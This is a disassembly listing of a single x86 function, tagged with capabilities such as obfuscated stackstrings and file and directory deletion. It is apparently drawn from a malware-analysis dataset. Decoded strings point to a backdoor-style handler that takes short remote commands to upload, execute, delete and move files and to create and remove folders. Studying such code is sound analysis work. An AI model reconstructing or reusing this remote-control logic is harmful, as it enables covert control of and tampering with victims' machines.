Function at 0x10005aa0
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete directory
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019dc89
mov eax, dword fs:[0]
push eax
sub esp, 0x18c
mov eax, dword [0x1020f040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xa4], ecx
lea eax, [ebp - 0xa0]
mov dword [ebp - 4], 0
lea edi, [ebp - 0x9e]
mov byte [ebp - 4], 1
mov dword [ebp - 0x94], 0
xorps xmm0, xmm0
movq qword [ebp - 0x9c], xmm0
mov word [ebp - 0xa0], 0x5453
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0
sub edi, eax
je 0x10005b6d
cmp edi, 0x7fffffff
ja 0x10007210
push edi
lea ecx, [ebp - 0x18c]
call fcn.10009f20
mov esi, dword [ebp - 0x18c]
push edi
lea edi, [ebp - 0xa0]
push edi
push esi
call fcn.10176510
sub esi, edi
lea eax, [ebp - 0x9e]
add esp, 0xc
add esi, eax
mov dword [ebp - 0x188], esi
lea eax, [ebp - 0xa8]
mov byte [ebp - 4], 2
lea edi, [ebp - 0xa6]
mov word [ebp - 0xa8], 0x4447
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0
sub edi, eax
je 0x10005be0
cmp edi, 0x7fffffff
ja 0x10007215
push edi
lea ecx, [ebp - 0x180]
call fcn.10009f20
mov esi, dword [ebp - 0x180]
lea eax, [ebp - 0xa8]
push edi
push eax
push esi
call fcn.10176510
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x17c], eax
lea eax, [ebp - 0xac]
mov byte [ebp - 4], 3
lea edi, [ebp - 0xaa]
mov word [ebp - 0xac], 0x5047
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0
sub edi, eax
je 0x10005c53
cmp edi, 0x7fffffff
ja 0x1000721a
push edi
lea ecx, [ebp - 0x174]
call fcn.10009f20
mov esi, dword [ebp - 0x174]
lea eax, [ebp - 0xac]
push edi
push eax
push esi
call fcn.10176510
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x170], eax
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 4
lea edi, [ebp - 0xb1]
mov word [ebp - 0xb4], 0x5055
mov byte [ebp - 0xb2], 0x46
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0
sub edi, eax
je 0x10005ccd
cmp edi, 0x7fffffff
ja 0x1000721f
push edi
lea ecx, [ebp - 0x168]
call fcn.10009f20
mov esi, dword [ebp - 0x168]
lea eax, [ebp - 0xb4]
push edi
push eax
push esi
call fcn.10176510
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x164], eax
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 5
lea edi, [ebp - 0xb5]
mov word [ebp - 0xb8], 0x5552
mov byte [ebp - 0xb6], 0x46
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0
sub edi, eax
je 0x10005d47
cmp edi, 0x7fffffff
ja 0x10007224
push edi
lea ecx, [ebp - 0x15c]
call fcn.10009f20
mov esi, dword [ebp - 0x15c]
lea eax, [ebp - 0xb8]
push edi
push eax
push esi
call fcn.10176510
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0xbc]
mov byte [ebp - 4], 6
lea edi, [ebp - 0xb9]
mov word [ebp - 0xbc], 0x4453
mov byte [ebp - 0xba], 0x46
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0
sub edi, eax
je 0x10005dc1
cmp edi, 0x7fffffff
ja 0x10007229
push edi
lea ecx, [ebp - 0x150]
call fcn.10009f20
mov esi, dword [ebp - 0x150]
lea eax, [ebp - 0xbc]
push edi
push eax
push esi
call fcn.10176510
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x14c], eax
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 7
lea edi, [ebp - 0xbd]
mov word [ebp - 0xc0], 0x4544
mov byte [ebp - 0xbe], 0x4c
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0
sub edi, eax
je 0x10005e3b
cmp edi, 0x7fffffff
ja 0x1000722e
push edi
lea ecx, [ebp - 0x144]
call fcn.10009f20
mov esi, dword [ebp - 0x144]
lea eax, [ebp - 0xc0]
push edi
push eax
push esi
call fcn.10176510
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x140], eax
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 8
lea edi, [ebp - 0xae]
mov word [ebp - 0xb0], 0x5845
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
sub edi, eax
je 0x10005eae
cmp edi, 0x7fffffff
ja 0x10007233
push edi
lea ecx, [ebp - 0x138]
call fcn.10009f20
mov esi, dword [ebp - 0x138]
lea eax, [ebp - 0xb0]
push edi
push eax
push esi
call fcn.10176510
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x134], eax
lea eax, [ebp - 0xc4]
mov byte [ebp - 4], 9
lea edi, [ebp - 0xc1]
mov word [ebp - 0xc4], 0x4443
mov byte [ebp - 0xc2], 0x49
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
sub edi, eax
je 0x10005f28
cmp edi, 0x7fffffff
ja 0x10007238
push edi
lea ecx, [ebp - 0x12c]
call fcn.10009f20
mov esi, dword [ebp - 0x12c]
lea eax, [ebp - 0xc4]
push edi
push eax
push esi
call fcn.10176510
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0xc8]
mov byte [ebp - 4], 0xa
lea edi, [ebp - 0xc5]
mov word [ebp - 0xc8], 0x4444
mov byte [ebp - 0xc6], 0x49
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
sub edi, eax
je 0x10005fa2
cmp edi, 0x7fffffff
ja 0x1000723d
push edi
lea ecx, [ebp - 0x120]
call fcn.10009f20
mov esi, dword [ebp - 0x120]
lea eax, [ebp - 0xc8]
push edi
push eax
push esi
call fcn.10176510
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0xcc]
mov byte [ebp - 4], 0xb
lea edi, [ebp - 0xc9]
mov word [ebp - 0xcc], 0x4652
mov byte [ebp - 0xca], 0x49
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0
sub edi, eax
je 0x1000601c
cmp edi, 0x7fffffff
ja 0x10007242
push edi
lea ecx, [ebp - 0x114]
call fcn.10009f20
mov esi, dword [ebp - 0x114]
lea eax, [ebp - 0xcc]
push edi
push eax
push esi
call fcn.10176510
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0xc
lea edi, [ebp - 0x8d]
mov word [ebp - 0x90], 0x4452
mov byte [ebp - 0x8e], 0x49
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0
sub edi, eax
je 0x10006096
cmp edi, 0x7fffffff
ja 0x10007247
push edi
lea ecx, [ebp - 0x108]
call fcn.10009f20
mov esi, dword [ebp - 0x108]
lea eax, [ebp - 0x90]
push edi
push eax
push esi
call fcn.10176510
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x190]
mov byte [ebp - 4], 0xd
push eax
lea edx, [ebp - 0x18c]
mov dword [ebp - 0x9c], 0
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0x1c], edx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x190], ecx
push eax
sub ecx, edx
mov dword [ebp - 0x98], 0
mov eax, 0x2aaaaaab
mov dword [ebp - 0x94], 0
imul ecx
lea ecx, [ebp - 0x9c]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
call fcn.10005350
push fcn.100021e0
push 0xc
push 0xc
lea eax, [ebp - 0x18c]
mov byte [ebp - 4], 0xf
push eax
call fcn.10172c44
push 0x18
call fcn.1002432b
mov edi, eax
add esp, 4
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 0x10
test edi, edi
je 0x1000614a
xorps xmm0, xmm0
mov ecx, edi
push 0x40
movups xmmword [edi], xmm0
push str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
call fcn.100052b0
jmp 0x1000614c
xor edi, edi
mov dword [ebp - 0x90], edi
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x11
mov eax, dword [eax + 4]
add eax, 4
push eax
call fcn.100057b0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0x12
push eax
mov ecx, edi
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x1000618d
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
mov ecx, dword [ebp - 0x3c]
add esp, 0x10
mov byte [ebp - 0x9f], al
cmp ecx, 0xf
jbe 0x100061ec
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100061dc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000724c
push ecx
push edx
call fcn.10172723
mov al, byte [ebp - 0x9f]
add esp, 8
mov esi, dword [ebp - 0xa4]
test al, al
je 0x100061fd
mov ecx, esi
call fcn.10007fa0
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0xc
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x1000621f
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
mov ecx, dword [ebp - 0x3c]
add esp, 0x10
mov byte [ebp - 0x9f], al
cmp ecx, 0xf
jbe 0x1000627e
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000626e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007251
push ecx
push edx
call fcn.10172723
mov al, byte [ebp - 0x9f]
add esp, 8
test al, al
je 0x10006289
mov ecx, esi
call fcn.10007fa0
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0x18
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x100062ab
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
mov ecx, dword [ebp - 0x3c]
add esp, 0x10
mov byte [ebp - 0x9f], al
cmp ecx, 0xf
jbe 0x1000630a
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100062fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007256
push ecx
push edx
call fcn.10172723
mov al, byte [ebp - 0x9f]
add esp, 8
test al, al
je 0x10006321
mov eax, dword [ebp + 8]
mov ecx, esi
mov eax, dword [eax + 4]
add eax, 0xac
push eax
call fcn.10008b80
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0x24
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x10006343
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
mov ecx, dword [ebp - 0x3c]
add esp, 0x10
mov byte [ebp - 0x9f], al
cmp ecx, 0xf
jbe 0x100063a2
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006392
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000725b
push ecx
push edx
call fcn.10172723
mov al, byte [ebp - 0x9f]
add esp, 8
test al, al
je 0x100066c8
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x13
mov eax, dword [eax + 4]
add eax, 0x1c
push eax
call fcn.100057b0
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0x14
push eax
call fcn.1000f790
add esp, 4
test al, al
je 0x10006547
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.10011ab0
add esp, 8
cmp dword [eax + 0x14], 7
jbe 0x100063f0
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.100035f0
test esi, esi
jne 0x100064e6
lea eax, [ebp - 0x9f]
mov dword [ebp - 0x1c], esi
push eax
lea ecx, [ebp - 0x56]
mov dword [ebp - 0x74], 0x6f727245
push ecx
lea edx, [ebp - 0x74]
mov dword [ebp - 0x70], 0x70552072
xorps xmm0, xmm0
mov dword [ebp - 0x6c], 0x64616f6c
push edx
lea ecx, [ebp - 0x24]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x68], 0x20676e6f
mov dword [ebp - 0x64], 0x656c6966
mov dword [ebp - 0x60], 0x43202c20
mov dword [ebp - 0x5c], 0x2065646f
mov word [ebp - 0x58], 0x203a
call fcn.10005a30
mov byte [ebp - 4], 0x15
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.1000aed0
add esp, 8
mov esi, eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x16
push eax
lea eax, [ebp - 0xfc]
mov ecx, edi
push eax
call fcn.10023780
push esi
push eax
push dword [ebp - 0x1a]
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x17
call fcn.100058a0
mov esi, dword [ebp - 0xa4]
lea eax, [ebp - 0x70]
push eax
mov ecx, esi
mov byte [ebp - 4], 0x18
call fcn.10008800
lea ecx, [ebp - 0x70]
call fcn.10002190
lea ecx, [ebp - 0xfc]
call fcn.10002190
lea ecx, [ebp - 0xe4]
call fcn.10002190
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x14
call fcn.100021e0
jmp 0x100064ec
mov esi, dword [ebp - 0xa4]
lea eax, [ebp - 0x20]
push eax
call fcn.10003af0
mov ecx, dword [ebp - 0x1c]
add esp, 4
cmp ecx, 0x7fffffff
jg 0x1000652b
mov eax, dword [ebp - 0x20]
jl 0x1000650f
cmp eax, 0xe2329aff
jae 0x1000652b
add eax, 0x1dcd6500
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
adc ecx, 0
push eax
mov dword [ebp - 0x1c], ecx
call fcn.10003350
add esp, 4
jmp 0x1000654d
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0xffffffff
push eax
mov dword [ebp - 0x1c], SysReAllocStringLen
call fcn.10003350
add esp, 4
jmp 0x1000654d
mov esi, dword [ebp - 0xa4]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
add eax, 0xdc
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.1000faa0
add esp, 8
mov dword [ebp - 0x5c], 0
test al, al
lea ecx, [ebp - 0x16]
lea eax, [ebp - 0x9f]
xorps xmm0, xmm0
movq qword [ebp - 0x64], xmm0
push eax
push ecx
lea ecx, [ebp - 0x64]
jne 0x10006616
lea edx, [ebp - 0x34]
mov dword [ebp - 0x34], 0x6f727245
push edx
mov dword [ebp - 0x30], 0x70552072
mov dword [ebp - 0x2c], 0x64616f6c
mov dword [ebp - 0x28], 0x20676e6f
mov dword [ebp - 0x24], 0x656c6966
mov dword [ebp - 0x20], 0x43202c20
mov dword [ebp - 0x1c], 0x2065646f
mov word [ebp - 0x18], 0x203a
call fcn.10005a30
mov byte [ebp - 4], 0x19
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.1000aed0
add esp, 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 0x1a
push eax
lea eax, [ebp - 0xe4]
mov ecx, edi
push eax
call fcn.10023780
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x1b
push eax
push dword [ebp - 0x1a]
call fcn.100058a0
mov byte [ebp - 4], 0x1c
jmp 0x10006688
lea edx, [ebp - 0x28]
mov dword [ebp - 0x28], 0x63637553
push edx
mov dword [ebp - 0x24], 0x46737365
mov dword [ebp - 0x20], 0x55206c75
mov dword [ebp - 0x1c], 0x616f6c70
mov word [ebp - 0x18], 0x2064
call fcn.10005a30
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0x1d
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.10010d80
add esp, 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 0x1e
push eax
lea eax, [ebp - 0xe4]
mov ecx, edi
push eax
call fcn.10023780
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x1f
push eax
push dword [ebp - 0x1a]
call fcn.100058a0
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.10008800
lea ecx, [ebp - 0x30]
call fcn.10002190
lea ecx, [ebp - 0xe4]
call fcn.10002190
lea ecx, [ebp - 0xfc]
call fcn.10002190
lea ecx, [ebp - 0x64]
call fcn.100021e0
lea ecx, [ebp - 0x50]
call fcn.10002190
mov dword [ebp - 4], 0x12
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0x30
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x100066ed
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
add esp, 0x10
mov byte [ebp - 0x9f], al
lea ecx, [ebp - 0xe4]
call fcn.10002190
cmp byte [ebp - 0x9f], 0
mov esi, dword [ebp - 0xa4]
je 0x1000673d
mov eax, dword [ebp + 8]
mov ecx, esi
mov eax, dword [eax + 4]
add eax, 0x64
push eax
call fcn.10009b30
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0x3c
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x1000675f
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
mov ecx, dword [ebp - 0x3c]
add esp, 0x10
mov byte [ebp - 0x9f], al
cmp ecx, 0xf
jbe 0x100068d1
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100068c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007260
jmp 0x100068c1
lea ecx, [ebp - 0x90]
call fcn.10007340
lea ecx, [ebp - 0x9c]
call fcn.1000a020
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x1000689d
or edi, 0xffffffff
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x1000689d
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], edi
dec edi
jne 0x1000689d
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10172731
mov esp, ebp
pop ebp
ret 8
push ecx
push edx
call fcn.10172723
mov al, byte [ebp - 0x9f]
add esp, 8
test al, al
je 0x100068ea
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
lea ecx, [eax + 0x64]
add eax, 0x34
push ecx
push eax
mov ecx, esi
call fcn.1000a310
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0x48
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x1000690f
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
add esp, 0x10
mov byte [ebp - 0x9f], al
lea ecx, [ebp - 0xe4]
call fcn.10002190
cmp byte [ebp - 0x9f], 0
je 0x10006a36
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
add eax, 0x34
cmp dword [eax + 0x14], 0xf
jbe 0x1000695d
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x10006a36
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0x16]
lea eax, [ebp - 0x9f]
mov dword [ebp - 0x2c], 0x656c6544
push eax
push ecx
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x28], 0x69466574
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0x4520656c
push edx
lea ecx, [ebp - 0x64]
movq qword [ebp - 0x64], xmm0
mov dword [ebp - 0x20], 0x726f7272
mov dword [ebp - 0x1c], 0x646f4320
mov word [ebp - 0x18], 0x2065
call fcn.10005a30
mov byte [ebp - 4], 0x26
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.1000aed0
add esp, 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 0x27
push eax
lea eax, [ebp - 0xe4]
mov ecx, edi
push eax
call fcn.10023780
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x28
push eax
push dword [ebp - 0x1a]
call fcn.100058a0
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0x29
push eax
mov ecx, esi
call fcn.10008800
lea ecx, [ebp - 0x50]
call fcn.10002190
lea ecx, [ebp - 0xe4]
call fcn.10002190
lea ecx, [ebp - 0xfc]
call fcn.10002190
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x12
call fcn.100021e0
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0x54
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x10006a5b
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
add esp, 0x10
mov byte [ebp - 0x9f], al
lea ecx, [ebp - 0xe4]
call fcn.10002190
cmp byte [ebp - 0x9f], 0
je 0x10006b8b
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
add eax, 0x34
push eax
call fcn.1000f500
add esp, 4
test al, al
jne 0x10006b8b
lea eax, [ebp - 0x9f]
mov dword [ebp - 0x5c], 0
push eax
lea ecx, [ebp - 0x39]
mov dword [ebp - 0x54], 0x63657845
push ecx
lea edx, [ebp - 0x54]
mov dword [ebp - 0x50], 0x20657475
xorps xmm0, xmm0
mov dword [ebp - 0x4c], 0x656c6966
push edx
lea ecx, [ebp - 0x64]
movq qword [ebp - 0x64], xmm0
mov dword [ebp - 0x48], 0x72726520
mov dword [ebp - 0x44], 0x4320726f
mov dword [ebp - 0x40], 0x2065646f
mov word [ebp - 0x3c], 0x203a
mov byte [ebp - 0x3a], 0x20
call fcn.10005a30
mov byte [ebp - 4], 0x2a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.1000aed0
add esp, 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 0x2b
push eax
lea eax, [ebp - 0xe4]
mov ecx, edi
push eax
call fcn.10023780
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x2c
push eax
push dword [ebp - 0x1a]
call fcn.100058a0
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0x2d
push eax
mov ecx, esi
call fcn.10008800
lea ecx, [ebp - 0x50]
call fcn.10002190
lea ecx, [ebp - 0xe4]
call fcn.10002190
lea ecx, [ebp - 0xfc]
call fcn.10002190
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x12
call fcn.100021e0
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0x60
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x10006bb0
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
add esp, 0x10
mov byte [ebp - 0x9f], al
lea ecx, [ebp - 0xe4]
call fcn.10002190
cmp byte [ebp - 0x9f], 0
je 0x10006d0b
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
add eax, 0x7c
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.10011ab0
add esp, 8
cmp dword [eax + 0x14], 7
jbe 0x10006c0e
mov eax, dword [eax]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
lea ecx, [ebp - 0xe4]
mov esi, eax
call fcn.100035f0
test esi, esi
jne 0x10006d0b
lea eax, [ebp - 0x9f]
mov dword [ebp - 0x5c], esi
push eax
lea ecx, [ebp - 0x36]
mov dword [ebp - 0x54], 0x61657243
push ecx
lea edx, [ebp - 0x54]
mov dword [ebp - 0x50], 0x46206574
xorps xmm0, xmm0
mov dword [ebp - 0x4c], 0x65646c6f
push edx
lea ecx, [ebp - 0x64]
movq qword [ebp - 0x64], xmm0
mov dword [ebp - 0x48], 0x72452072
mov dword [ebp - 0x44], 0x20726f72
mov dword [ebp - 0x40], 0x6f727245
mov dword [ebp - 0x3c], 0x3a202072
mov word [ebp - 0x38], 0x2020
call fcn.10005a30
mov byte [ebp - 4], 0x2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.1000aed0
add esp, 8
mov esi, eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 0x2f
push eax
lea eax, [ebp - 0xe4]
mov ecx, edi
push eax
call fcn.10023780
push esi
push eax
push dword [ebp - 0x1a]
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x30
call fcn.100058a0
mov esi, dword [ebp - 0xa4]
lea eax, [ebp - 0x50]
push eax
mov ecx, esi
mov byte [ebp - 4], 0x31
call fcn.10008800
lea ecx, [ebp - 0x50]
call fcn.10002190
lea ecx, [ebp - 0xe4]
call fcn.10002190
lea ecx, [ebp - 0xfc]
call fcn.10002190
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x12
call fcn.100021e0
jmp 0x10006d11
mov esi, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0x6c
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x10006d36
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
add esp, 0x10
mov byte [ebp - 0x9f], al
lea ecx, [ebp - 0xe4]
call fcn.10002190
cmp byte [ebp - 0x9f], 0
je 0x10006e5d
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
add eax, 0x7c
cmp dword [eax + 0x14], 0xf
jbe 0x10006d84
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x10006e5d
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0x16]
lea eax, [ebp - 0x9f]
mov dword [ebp - 0x2c], 0x656c6544
push eax
